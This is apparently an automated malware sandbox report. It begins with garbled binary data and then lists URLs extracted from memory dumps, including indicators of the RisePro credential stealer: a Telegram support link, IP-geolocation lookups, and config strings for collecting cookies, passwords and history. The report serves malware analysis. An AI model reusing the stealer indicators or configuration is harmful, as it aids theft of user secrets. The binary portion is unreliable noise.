x��o��s��u�w��H��/��!f-��H��C�p�n�Yt�[��!D��SWW�K3��4�*��ϯ01��Bf�u��t�En��O��E�5'5�=ξ<�_!��G*��\l�I��j��.�s,��aYB��?�d�t2��T��_�SWQ1��UiY�W��+�'�Q��˥��{��$�X��-g�"��>3�4WJtJ��槰l�5FQ{��A��{�1�0r�&5M.�7ڤ.��{��t�b��Q��﹋��s��ށv��=f��a�յ�)��c��;8�FR�9�RH��3E>W��_�2O��4��'@R�B�N��!��зzSp2��$�]n�y+��>��34��yε��8[&��:��#�-rra7�s�C��oQ��'�Ѥ#b��^��[tm`�;��6��k�orH��Doz,��y�[�m}��m}��>l{��%��G��ⱻ�/�l.��pd��(��ެ�=��D7��agC�4��uR�6��ٰ��,E�/r�|u�l!�N~��(�V��.W*B'�e�Y��y��&�D=�+�*�g�KKn�d�zK�}��_�B�T��vM�e�Z.��rݢ�w��.c��.��pt�!Vs68SX}J��%Z�7�ѸA��Z��)�oU��pl�S�$ې��NTU��i�I8�3Yx��W��it|q��'��4�,��^�ްLh�8�qi��L.oo,%��,'�;�]}k#�|��^��Ķ{�6��U�ט�j�2�[��e�zc_;��O��W��En�p%�@"�P(%��.b��E�:��E��Ʀ��8��.��m!�cS��r�J�@9�J��"y��e��Ͼ��c��G��I��r��w��OE��f��']��Z;�[��|/_�}��i��HU��C��c�!��e%W��I�,��)a7�E��R��!��Gw�f"��{�(@Tٝ�)FU�&�L�"޽�:�([xX?1��t��go�Ā�w�Hyp��^s��Ii24r�h#t��F�A�E�5�6*i�X�E�AG�G�3v�7�9|b��B��1��e�u�4��%�9܇H��!Gx�V!G�MC�h�x�a��Z[��[��7w�#]~N�u2�|JX�q&�=�F��3=rM��\W��ż��<��1�{1�6�_:�:��c��c�޽��66{p'��(", "_TD�H�ko��l��ym��xs��\��+V2��·/�+Q�7��J�w5�ʜ�7��|�^Ř�o`�R�Z��/��įU�7p��(�:|5h��a��#�f��i��qO��ᔎc>K,{<��#Zu��c��<�?q�=P�K��ߺ��~�,p�c��#E��g��LQ欏&r��͆��B�k��1��Ur��E�p�ك{*��?�[�'��DՕ�Ԫ�W��-�}~��g��M��", "00000001�0000000100000001k00000001o00000001�00000001600000001�00000001�00000001�00000001K00000001�0000000100000001�00000001200000001�0000ac5N\%ƀ�ˊ�k��E?8��8�#��4i��"%�'>��l��v,��>�)RJ��+�W��X�MZ5�S^��񺼒�7��d�}eT��udTtdyN�([_��9ɡ��Ny�N��_�Pe�$07�r1oo�ͺ��Ċ��=��׫C�O��j�c)9L=�}z�vlL�y.��u!�jd�"�Ӎ!�ռ�!@Ol��G�+��>�TU��1�'v^��\XtT&�e6�.m�"!]��_e��x��{@]`H:G�Cm��[�;��f�uq��.#B5�i3��cvgkiD�x��nP:��tQ�A�[�.�r��񺤋�W��x�ǭH��f@�#]H��]G�KG6o�&�x��*��ti5��""�l��q�fXJ��g8��C��*�a��g8J��R`5��'7��l�"!űU9��=�?�@�kBb��d�jIF��(슠tB@%�J6��k�ac�6�0c��1�fF��uH��"�9�[(��0rZTX1"T3�4��F��J��@�#D�j@��j��l�e��l-��MD��h��E��3��G�:F�`�@��"N=t�nYĉ��M�[qb��q�N=�Ͼ��g��7��+�", ")��H>$g��9�6��Q�+g�1�B��FD��p�..�k�/��}i|�V�]��j{��>��ep;��;�$��$}�*I��FHz{�sv��Oh�k鹛�O�g3n�4�BX�syw0��~�ˏzv��أ�^{o�o��Ǐ�՞��2NRwr��kѳ��wxao��ft�+�u�*c�/5��,%�Re�QTxNW'�^��Ӌ��J\�(� �f�1-��i(Vy�(�9M��+j��e��w|o�X�A�!�U�H4U��x��7��h��/P@�;�M�V3�_.-�Kօ�-�6t3@}U"C�G��l�Ah�[xWE�"|L��GVܗ�n��b0��;�H��0N��sP��A��K�;Ŀ�'�T��^H�Ub)%/�fYE�p�TBTlw�iՙ��|t�k��nq?��N��0P�>t?�*�x��x�� ս#W�`��xC�R��7�f��A?�ʏ��f�#��ɐeV�Ё#�!x�FY_�PѲ��@�=�#|�AV��h|��|�=�;2R�,a{A��}�f?�OW��e"��bp�O�i��0l}�/�q��?��/�yWd�%��}+裸�y�uy��F��", "@�0'i��3�VT�:��)ۯ��}/j��1~-qk=!4�h��c]֗_!��V�4��l�`�k�:��ړy*��쒵5�j��g��@I^XX[(R��Lm��'�RR=�)$C�Jͩ��"Y֨Y��}��8�8@X�t_�J��,��_�1c��|� [��|u��з]/��ܧx>��L�aՑ��`z�*T�`��Y�Zu��ܫQ4�a��`��k2��7��*�@-�'׀�,�K`[��[��T��~e�<�{7��8��ʙ-�n`ώ��u�x܉�H"�:H&+C�V^�>�*B��b(�_�d�WdZ �HI-%L�q�*s��"4��@_��r|�ⓕ�� V��e�Q�t{d3V�<�?��j�a��ɍs2�O�t��L/H�a�� I��偊�H!��0p9�u��B��3��)�1�'޳'0y�th�A��M�3��8Re�Pf��C|��8aH�b�܂��a��(��|��e-�i>�l��V�Z.�|��gy��θk�7��A�G�o%��㿽B!��_�"�wʽS�hkMM+Y��]b(��Z�=E��q��8�sfkRK��aB�h�E�)�#��x?*̕��&�ޥ�6��C�|^�gt��U��U�h {�%��p��h�)�a�J&��2�� "L��Y��%��3%�z��Lo�׿��T��S��F�[�@>3'��" � �V�r��Tۊ��`[�� R�h�$6y�$C@YTApQ��;��=��4¬��j}��@�)�aL��a�]��0%D/��@�q{�|�JLS0��X�l�kK�T��K��Ѕ��8��s*�Ȉ�0t��>b�(�ǀ��㝲.�!1��@��kA��c��_[�jz�s�t�n�+RA4�h��ѐ��0��Kl]�m��(R��&�M��?5j��^��,��6K@��f��2��J��!�/,eK��ʢ��Ȭ,�'��e��4��2�r�.(�N)�4]09�C�_��c1�A՚8~�8��-[��g��Ɨ$� S}5��${X�>[�j�f�sM*f��x�8�PU:ش�P��W�u��X+)�PS�*�K��Z�Wh��Ta(��5�fFo�ВA��&vU��g-��@�B�f��Q�T�7U��k��W�A��:�~6��6z��Kh�k��", "ah��5c��Y��V$n�ۗj�αϝ��.��WQ�5J�G0�BY��N0��^��a7S͑S^�E|��xl�=�;��K��<��c��G��4��Ы>�0��#�ݡ��Uu@J��P���*��)��a�3?��U��p�|�ǡ�㨬��'c|�K<�C)̅�L\4�p�Dm;4=��k�Zltw��7@�g!Mi�B�O��z�í!;��EL�::�� \��7�d�[�� 0V`�1�i�i=��?z0'O8�Qz��`��k�⛾2Y��y�B�ô�~��C~��S-�U�؄�E+׳��I�r`Bt�{D�u;��p��c��h2T�.�C��#r�AU@�|aٽ�M�#'�"8@��s�ˍl�SF�FmF�>��)�Nk��+ �D2)�p5��b�B��I6�.WL�?��^�8�0)��`&4j��\�3��{j!�-�) `��C-��?�+]�vSC=90/��KWR��[�P�ٜ�p�� @�ZhWX��A�7��mДF��& �e�7�HVg��V,T�AM�P��TaVc^]ÓZ��Qec��Ab�U��/@*�؋��aj�bP��˴�m��L]�7�N��nf>!��ԵO��M��6%!?_�hz��9��W,��U�Y�o�[�6�&��pC�r��۝�?��[�2&V��$�{Y}IFȁ��FͶ��yt�V67��k�t�ʣ:��!��Pw{n�=ohζ@��yԆ2;w�Z<��N��=9�9��侷p�g��x�*��q�jv�q�+�_�_��6�<�B��e^E��.��ٕt|7�ip��bv��{tz��ܙ7�Ć��F�!��7R\.�c�s~�/�c(�l��um㖓�mCPԹ�t��`Q`ɟ��-�#h�⺸�!�V>�>vz�FnD�ƶ��u255�Nn", "�8�ќ��E��b��+vl{s*�6��Z��>)g��xػxl4�NW��cxI?��ǫs�7vv��_��Ǉ��䆏�R�?B��y�/�V� vyn��Xt���?��=��Rs��seߩ��d�[�)�f��'��^#��F򼜻��j��h�r:a��#ARld/�D��abNe�!��X�L��ͩ��Lm�6�*ѷ0�9�9��O�Bi�h�֕Ḫ�}�#�y��+�J��ʹb��\&G3��s�r'l�4�9��\߷L㒨Lg`I��س��c$Lc0��;GW��̞Y�/��y>>�ً�U�0z�6{w�˽�B�x�>�)�(��w��ę��fqz��)v33��[��eag �4��aR�{��g'��Q�nF=��`�qO'G��6Y�OΤ��Nt�=��¼|��n%ç�Gd?Y�#��[��hn��uLD\A��@\��a�-w5(��rTnn_R�Cs�Jp,�E��䷳��1��tN>Ζ��ñ��>$�M��/&/r3��s��B�eNa1�)2��?!za��t�.Sa��鈹�]ݗ4�m�x�q�އi~�[�_�!�>m��q��&��d:2>x��>{괲+�C.�1?��F�;��2̵�d48��!}�:L=��*�75�'eA�� ࿛�X3�ը��)0�!k+�_�9��/ekdK< K�%n�l��Je��q��|s��s�Q��&��2w�C��޶:��p�ӏ��NQ�K3�N�9��C0@A�(�mbpݽ~��q�o��+��h?�X7-N�k5�A�S�v�K��/��<�)�.�.��/��8_��6�.��GZ��mcרv��ΕZq2�'��11*�z�u@��وT�ח�;zUmt�4�2��/I��ҳ6�̔�Y]��=�.�z��B�,��6j�]�yϙ�XD��v�fF��7�Q:#Q��A�2��ÕpUq�Nb��9��"��"��i�6?��Y}u?s��5�ߎ��~�1�}c!¸-�A+p��(��ߟ�>N�&��}��g@ğ��5#�KY�m�F�9g�16��2��F��rp9��E��KZJ�pH��X��Mu�.$�qΨT$�'�4��>�@en_��0+*�q��͜_z ��.�G��c�c�ab{�wUi�#��#�96�ݼ]��Z6�qW�>��1��>�6@��Z�O�Y ��~�}�QoVq�[�z�6��ɬ7or�v2̯+��5��&��ڛ*��7��ه��X<�'�l��>��=I�&O�s��ޛ�H��|˜W�cq��Ҹ��U��냗נ��*��|lx�t�w��\E�`�!DY0kk�sU�.ʧ�&��UV��g��N��v��A�1��*��2E�&nod�Z��T~Qû�7�{�*�ډe��P��>��v��g7��|(��+G�PQ��8��@J.��\t�i��̃��=�>ϸ�_v�G�R�C��\�p��Ğc[z�%J��^8V�>�8��!JN��Y�B9��Ă e$--��e�Y![,��B��R��L΂��bZ�4�CrIK�r��;s�]��t^3Y��L��B!��BN�y�`9��K,~RV(&\N�D�_(B�\�J9��<�_(JB��Y8��AZY��!`��&�:��B�Ȋ�E`yAb,S��X�b#��,��o�.�({�o��˔�rJ)/1��K�X��>TY�MŢ��e�Υ�,��eKy#��/lg��W��%$|��=4l��V*�Qft/�к��c�<�F�K%Fc��%l}.�|k�4`P}�{*��g��Y��XuI�! �Hyˈ�A1��-�&�PG��X{<[b!��x�1]�Е��J)�C�%�a��KBV*j�I�fh��E�KH-�v{�#� �@�R��4ӱř"6��Zf��$��d�Kj��G��Q�@~`a�=�R��!��Z(F��,B�2%W97�h��D��h�Al��|XB�)��8D��JE?,�(�� d~Х��]E��e�rd)\�RA�K��{�)��)%.�ʌL>�"_�)%�M�R��ڂ�*��Xy�RK�ȵH/�c�Z��X��*OI��`tʆdC*�KD2��Nޑ"�`lx��P�f��@�f�"v��p�re��EI��R��6(C3E�[(�d(��Kla��s*)Q�3�4Wb!�5 v�JZE*��P��E*�9$kļ��x0#��&P��(�3%�x0�`v��E\P{*KD?�w�Ԁ!x(S�b��Ba�`��2��^��wՒ{jizr�vT��]�zW��E˪��:�-n�'�b��^�s'1e��Ś�X�Ӝ%=�9u�.��&��~��х�ǕP�;W�2>:<| �(��z��", "b�n�Ƨ$X��y��K�I4Bi��%�^��E1h�e{�Y��ى��:�[��B��Rm�.��Yڐ{-�8��E��s��;��>D�j�;��w_(Hdi�ҫ��E�[^0,�R�C��m�v��*�I�F=�NW��,�.��7�y��T﫯T��D�X�:�8A��^o{�+f\�`��J.4��x֛�t��o��H]$��zݹ�?+�x�?d]��w�+Rme�c�TZ��Vu�`8��ʡ'֯;��T�Z��J��\�~J��/�/n{z_"��1�K�l]��ໄ�v;�=�9[XU<�.��q��w1�;�d.̞��ι��s�qݹV>\��"�ko��{��W�u�*��z��:��cތ*v�?�Q��Rsm�c^��v��|�.�\��~��rvǑӊ��K�y׋�~�~�W�}��au�x8�]�`:ϹcbYZ�h��`��Y�RT�L�X!V�5�?��K��Yd��~B�elzt� U�M��=��8>Kg�ވ*�\@�g�C+@��'�\��{kc�,[Θc�W�\G�m-��!��E��_�޼0�m�1�sd��)W?�FZ�(p�ű�nų��.��B�+��B�}�8b��7��_��7�M%��Vx��l�g{e��6Y�N|(��v�'YǶ�X�>��/��iq�zÊQ�vv@�r��o�Gg�1rt�|��SǏs��6��t�Wi뽒��ƅ�/��|lZ�ϖt�nwk��`$g��L8φQ�z�3LL��'C��k8��\6��W��~��lp�h��<�5��aC��j��\'�˞e6*�;��ؠ��h��g��=��쁑� �H��5n�^�I��1��϶>�-j�T�C��t��~E�;O��bǞk��0<��s_�8�豝չ�)9)r��6Κ��+�ŵ�7i]��_�ߪ�}��ER�݅�xFK�֪�;Q��l��P�qa�=�Fw�*{��Ȩ�פ*s�a�Q��/I��݇3"S�)�)��ݥʰWn�:�Fg�j�h��'\�e��ô�?C5�E��3;?�)x��Ǯ츨s�c9+y�_��Wnu�󁡥��]�^��pt�e\}{=��΍<4��W5�n�3��J E?%��l�[Ziu�Xj��m�ZÕ��~��s��\�ȕ��(`�k��vG�4��4��G�׼�o��t\��FgY3׎84F�.]�" "�:M_i�أ\�[x��Ƶ�r��cx�Q�c�w�1�h@u�' #��h�7�f40v�Hp�+j�fA�{��!�3�y�,*��~�w��e�Ю;�f��;W��kcu��N��d��O�M��{�B|��>p�FZ��l�v��#z��n��~D��ݡ�4T�z�HuS�v��7�M��P�^��OS��{,V�c��É噖�}��L��1�"�3O�~&z��%L��z`�O��x��P�O2I� ��~�8?ȑ�b�x?��@�O�%�%��_��j8dGf��0?�,��WD��j�r�P|��o�xη�F�Xh'み�g�#A�~b��KlF��-�n�ڿo~_U�w�0��P퇻`�p�{!e��ġN��l&+�Y1#dJwc�7Vp�� y�l��@�n}o��مPI��US�?ѲH��hy�B�o��*��KjD�@��x�@��{��+��t��:��]��`{X�'I�Z��`��/�_%�;�ڿ��z[�}JP��l�o!��~�Ƈ��p+V��־�DgA��ע��"o~(��`�c>��'|"%_9��s��}�}��B��7Y�I��D>��3��-�6��ph��Na��>�m�x��]��A�x{��}�|2��/l��}��g�Q�{��D��c�i;��I�{��m�P_1l��o��鴳�c)]��c��I��R]��I��pl_�Y��}A+i�m��|k��X��)�\O�&�h��K�~��/C�sL��.��2d?7E�Kݕ��2�?7'��J�o(�c�A��hh㷈\��Wїƶ(�`�.f9�+��B��R��n�gf+rKsL0��m�[�l��o��1 ��Q��M� N>��m8�@ALW��R��O2�|�Q��0_�*�/�TbL��,\�%�Y", "��]�h��+D0��{G��QH��GF��r�.�x�֧tӂ�c�A��@L}V��b�sG樧��d�鼳"�#t�{��.nB��L�C�h��u��MM��H�Z&�&S��oB��zsš�C��rY��ı��s�� |f� ��'ٌXzR��{�0��{��e�v�IoBۦ1w�5�d��]��+~.kwl��ep��w��昽�*vǲ��e��w��^�P��40��sƀ?��B�2p׳3��e.һ3�zi��] �HTc��.hP+z��82D��[1�!�t��ǧ�ƞE��L�8$Ec��9I��<}��g�=%�dy�X��8�-?��ilN�r�� F*�p�AĒ��", "00000001�00000001=00000001k00000001s00000001�00000001�00000001�0000000100000001�00000001�00001�2452�+��1ęxl��`'%��=��`�J��=�}��'�jw?�K�~��9�ڻ��4f7 ��_?(�jy�Dj �ã��ͷL�z��"��`)c�wX��X\�m�s�j?-q�ya6��͊;��l�F�ΰt�$M�w|5Wڎf�2~��7��mJF[��O~�&}��yH�]��_��~H��)f��O��o� �C�w�X� ��N��>3��[�r�CFP �l��z��G��R鈦g��y�u<[o��y0a(�]��p2��=&�NN~csD�S��WL�&v��V�z�K��fY��/wq��R��F��Ǵ\F[��V3Z<��Si}:ֱ#��2�ÙM�dtܙC�q$SĎ,&�Ml�LK�iM�O�y4��Y��m��c��S\�y��bV8�1�=��i�1M��!��$��;d��q&��N2�v�I^>g��5�oNw.��s��M�a<�_>��9-MW7��Q�c�+WP�-��1[`^FFV�])2欽~B �c�KV�=��+��0��/H��g�kW�� `&��}"��E��4�+~�=?oB31�)YHa(�7ۮ�'��{h2��7��f�cB�sߕ��X��l\��Z��Bi��˼h_d�y1Kv~�0��Y�-%xGH��A�vٱ+:��{�w%�/gW��IO�3�E��c�&r1��W��gf3ul6)sfuk" - Source: "00000000-00005528.00000000.66141.004CE000.00000080.mdmp") Found URL "http://pki-crl.symauth.com/offlineca/theinstituteofelectricalandelectronicsengineersincieeerootca.crl0verisignmpki-2-3990" - Source: "00000000-00005528.00000000.66141.004CE000.00000080.mdmp") Found URL "https://t.me/riseprosupport" - Source: "00000000-00005528.00000000.66141.03870000.00000004.mdmp") Found URL "https://t.me/riseprosupportdefault1.1.1.1invariant" - Source: "00000000-00005528.00000000.66141.03870000.00000004.mdmp") Found URL "http://user.configfile:.configfile://datadirectoryfile:http:\\?\globalroot" - Source: "00000000-00005528.00000000.66141.03870000.00000004.mdmp") Found URL "https://t.me/riseprosupportsoftware\microsoft\windows" - Source: "00000000-00005528.00000000.66141.03870000.00000004.mdmp") Found URL "https://api.myip.com/application/x-www-form-urlencoded;" - Source: "00000000-00005528.00000000.66141.03870000.00000004.mdmp") Found URL "https://api64.ipify.org/?format=json" - Source: "00000000-00005528.00000000.66141.03870000.00000004.mdmp") Found URL "https://ipinfo.io/widget/demo/https://ipinfo.io/datacountrycityget" - Source: "00000000-00005528.00000000.66141.03870000.00000004.mdmp") Found URL "https://db-ip.com/demo/home.php?s=demoinfocountrycodeget" - Source: "00000000-00005528.00000000.66141.03870000.00000004.mdmp") Found URL "https://maxmind.com/geoip/v2.1/city/mehttps://www.maxmind.com/en/locate-my-ip-addressiso_codenamesget" - Source: "00000000-00005528.00000000.66141.03870000.00000004.mdmp") Found URL "https://discord.com/api/v9/users/@meusernameemailld_nameld_marksld_geold_urlmark_check_cookiesmark_check_passwordsmark_check_historymark_domainscountdocxjpegcache-controlno-cacherule_exceptionsrule_filesrule_folderrule_size_kbrule_collect_recursv" - Source: "00000000-00005528.00000000.66141.03870000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00005528.00000001.68067.00870000.00000004.mdmp") Found URL "https://t.me/riseprosupport" - Source: "00000000-00005528.00000001.68067.03870000.00000004.mdmp") Found URL "https://t.me/riseprosupportdefault1.1.1.1invariant" - Source: "00000000-00005528.00000001.68067.03870000.00000004.mdmp") Found URL "http://user.configfile:.configfile://datadirectoryfile:http:\\?\globalroot" - Source: "00000000-00005528.00000001.68067.03870000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00005528.00000001.68067.03870000.00000004.mdmp") Found URL "http://www.w3.org/2000/09/xmldsig" - Source: "00000000-00005528.00000001.68067.03870000.00000004.mdmp") Found URL "http://www.windows.com/pctv.update" - Source: "00000000-00005528.00000001.68067.08C40000.00000002.mdmp") Found URL "http://www.windows.com/pctv.select" - Source: "00000000-00005528.00000001.68067.08C40000.00000002.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=53081" - Source: "00000000-00005528.00000001.68067.08C40000.00000002.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=30564-http://go.microsoft.com/fwlink/?linkid=145764-http://go.microsoft.com/fwlink/?linkid=145764-http://go.microsoft.com/fwlink/?linkid=145764-http://go.microsoft.com/fwlink/?linkid=145764-http://go.microsoft.com/fwlink/?linkid=131536-http://go.microsoft.com/fwlink/?linkid=131535+http://go.microsoft.com/fwlink/?linkid=8430software" - Source: "00000000-00005528.00000001.68067.08C40000.00000002.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=70599help" - Source: "00000000-00005528.00000001.68067.08C40000.00000002.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=145837.presscheckcheckuncheckselectpresspresspresspressexecutepnow" - Source: "00000000-00005528.00000001.68067.08C40000.00000002.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=57190microsoft" - Source: "00000000-00005528.00000001.68067.08C40000.00000002.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=145765ehtray_notify_nullehtray_s_ignore_eventlow" - Source: "00000000-00005528.00000001.68067.08C40000.00000002.mdmp") Found URL "http://vista.gallery.microsoft.com/vista/sideshow.aspxgadgetsno" - Source: "00000000-00005528.00000001.68067.08C40000.00000002.mdmp") Found URL "http://www.icra.org/vocabulary/.nonelimitedsomeunrestrictednudity4no" - Source: "00000000-00005528.00000001.68067.08C40000.00000002.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=32146" - Source: "00000000-00005528.00000001.68067.08C40000.00000002.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=70183'res://wmploc.dll/offline_radioguide.htm&visualizationsshow" - Source: "00000000-00005528.00000001.68067.08C40000.00000002.mdmp") Found URL "http://images.metaservices.microsoft.com/cover/6http://redir.metaservices.microsoft.com/redir/buynow/?1http://redir.metaservices.microsoft.com/dvdcover/phttp://redir.metaservices.microsoft.com/redir/buynow/?,http://windowsmedia.com/redir/findmedia.asp?9http://redir.metaservices.microsoft.com/redir/getmdrdvd/?8http://redir.metaservices.microsoft.com/redir/getmdrcd/?bhttp://redir.metaservices.microsoft.com/redir/getmdrcdbackground/??http://redir.metaservices.microsoft.com/redir/getmdrcdposturl/?ihttp://redir.metaservices.microsoft.com/redir/getmdrcdposturlbackground/?=http://redir.metaservices.microsoft.com/redir/getdaiposturl/?:http://redir.metaservices.microsoft.com/redir/daifailure/?microsoft" - Source: "00000000-00005528.00000001.68067.08C40000.00000002.mdmp") Found URL "http://redir.metaservices.microsoft.com/redir/submittoc/?-http://windowsmedia.com/redir/querytocext.asp1res://wmploc.dll/offline_mediainfo_nowplaying.htm7http://redir.metaservices.microsoft.com/redir/buynowmg/,http://windowsmedia.com/redir/buyticket9.asp)http://windowsmedia.com/redir/idppage.asp)http://windowsmedia.com/redir/idplogo.aspsegoe" - Source: "00000000-00005528.00000001.68067.08C40000.00000002.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=321507optimized" - Source: "00000000-00005528.00000001.68067.08C40000.00000002.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=8792hdcd" - Source: "00000000-00005528.00000001.68067.08C40000.00000002.mdmp") Found URL "http://redir.metaservices.microsoft.com/redir/mediaguide/?9http://redir.metaservices.microsoft.com/redir/radiotuner/,http://windowsmedia.com/redir/querytocnp.asp" - Source: "00000000-00005528.00000001.68067.08C40000.00000002.mdmp") Found URL "http://redir.metaservices.microsoft.com/redir/dvddetails/9http://redir.metaservices.microsoft.com/redir/dvdwizard/?pshow" - Source: "00000000-00005528.00000001.68067.08C40000.00000002.mdmp") Found URL "http://windowsmedia.com/redir/services.asp?wmpfriendly=trueonlinestoresplearn" - Source: "00000000-00005528.00000001.68067.08C40000.00000002.mdmp") Found URL "http://www.microsoft.com/windows/windowsmedia/musicservices.aspx?http://redir.metaservices.microsoft.com/redir/allservices/?sv=2?http://redir.metaservices.microsoft.com/redir/allservices/?sv=3?http://redir.metaservices.microsoft.com/redir/allservices/?sv=5musicpicturesvideos/enter" - Source: "00000000-00005528.00000001.68067.08C40000.00000002.mdmp") Found URL "http://timevalue9iqmgvw,czc0?1$0" - Source: "00000000-00005528.00000002.68940.00870000.00000004.mdmp") Found URL "http://isrg.trustid.ocsp.identrust.com0;/http://apps.identrust.com/roots/dstrootcax3.p7c0m0k0000." - Source: "00000000-00005528.00000002.68940.00870000.00000004.mdmp") Found URL "http://cps.root-x1.letsencrypt.org0<50301+http://crl.identrust.com/dstrootcax3crl.crl0ig'" - Source: "00000000-00005528.00000002.68940.00870000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005528.00000002.68940.00870000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0izttpsalt" - Source: "00000000-00005528.00000002.68940.00870000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-hardware0110315000000z140314235959z0384771florida1english1sea" - Source: "00000000-00005528.00000002.68940.00870000.00000004.mdmp") Found URL "https://secure.comodo.com/cps0" - Source: "00000000-00005528.00000002.68940.00870000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com05addons.mozilla.orgwww.addons.mozilla.org0zsb)j9e/salt" - Source: "00000000-00005528.00000002.68940.00870000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0%www.google.comgoogle.com0io]l,e9n0p1+0)" - Source: "00000000-00005528.00000002.68940.00870000.00000004.mdmp") Found URL "http://www.public-trust.com/cps/omniroot.html0w0u1gte" - Source: "00000000-00005528.00000002.68940.00870000.00000004.mdmp") Found URL "http://www.public-trust.com/cgi-bin/crl/2018/cdp.crl0dmxt*j]+xijom5ovgm/x7y1vgmx%2+jopijlf0vgybvg08cth" - Source: "00000000-00005528.00000002.68940.00870000.00000004.mdmp") Found URL "http://ocsp.entrust.net03,0*0(" - Source: "00000000-00005528.00000002.68940.00870000.00000004.mdmp") Found URL "http://crl.entrust.net/server1.crl0;8kbv7.11c)d[b" - Source: "00000000-00005528.00000002.68940.00870000.00000004.mdmp") Found URL "http://www.diginotar.nl/cps/pkioverheid0w0u1staat" - Source: "00000000-00005528.00000002.68940.00870000.00000004.mdmp") Found URL "http://crl.pkioverheid.nl/domovlatestcrl.crl0]ko)tsz'salt" - Source: "00000000-00005528.00000002.68940.00870000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0/login.skype.comwww.login.skype.com0ynsl" - Source: "00000000-00005528.00000002.68940.00870000.00000004.mdmp") Found URL "http://cybertrust.omniroot.com/repository.cfm0w0u1gte" - Source: "00000000-00005528.00000002.68940.00870000.00000004.mdmp") Found URL "http://www.public-trust.com/cgi-bin/crl/2018/cdp.crl0j)z" - Source: "00000000-00005528.00000002.68940.00870000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-hardware0110315000000z140314235959z0384771florida1tampa1sea" - Source: "00000000-00005528.00000002.68940.00870000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0global" - Source: "00000000-00005528.00000002.68940.00870000.00000004.mdmp") Found URL "http://www.diginotar.nl/cps/pkioverheid0\0z1staat" - Source: "00000000-00005528.00000002.68940.00870000.00000004.mdmp") Found URL "http://crl.pkioverheid.nl/domorganisatielatestcrl-g2.crl0^tl*" - Source: "00000000-00005528.00000002.68940.00870000.00000004.mdmp") Found URL "https://www.verisign.com/repository/cpsthis" - Source: "00000000-00005528.00000002.68940.00870000.00000004.mdmp") Found URL "https://www.verisign.com;" - Source: "00000000-00005528.00000002.68940.00870000.00000004.mdmp") Found URL "https://www.verisign.com/repository/verisignlogo.gif0d=0;090*0(https://www.verisign.com/rpa0f$\_)$bf!work1!0&0internet1verisign," - Source: "00000000-00005528.00000002.68940.00870000.00000004.mdmp") Found URL "https://www.verisign.com/repository/verisignlogo.gif0d=0;090*0(https://www.verisign.com/rpa0(+pw)salt" - Source: "00000000-00005528.00000002.68940.00870000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0/login.yahoo.comwww.login.yahoo.com0yvr,salt" - Source: "00000000-00005528.00000002.68940.00870000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0/mail.google.comwww.mail.google.com0?=*k!\yro2;nsalt" - Source: "00000000-00005528.00000002.68940.00870000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0-login.live.comwww.login.live.com0nwk1uy1un:nd" - Source: "00000000-00005528.00000002.68940.00870000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0login.yahoo.com0kw(=n" - Source: "00000000-00005528.00000002.68940.00870000.00000004.mdmp") Found URL "http://crl.entrust.net/server1.crl0;8kbv7.1q7z?," - Source: "00000000-00005528.00000002.68940.00870000.00000004.mdmp") Found URL "http://ocsp.entrust.net0d=0;09000." - Source: "00000000-00005528.00000002.68940.00870000.00000004.mdmp") Found URL "http://www.digicert.com.my/cps.htm02+0)0'!http://crl.entrust.net/2048ca.crl09yk3y!gte" - Source: "00000000-00005528.00000002.68940.00870000.00000004.mdmp") Found URL "http://www.public-trust.com/cgi-bin/crl/2018/cdp.crl0\0" - Source: "00000000-00005528.00000002.68940.00870000.00000004.mdmp") Found URL "http://crl.pkioverheid.nl/domovlatestcrl.crl00ev" - Source: "00000000-00005528.00000002.68940.00870000.00000004.mdmp") Found URL "http://www.public-trust.com/cgi-bin/crl/2018/cdp.crl0or" - Source: "00000000-00005528.00000002.68940.00870000.00000004.mdmp") Found URL 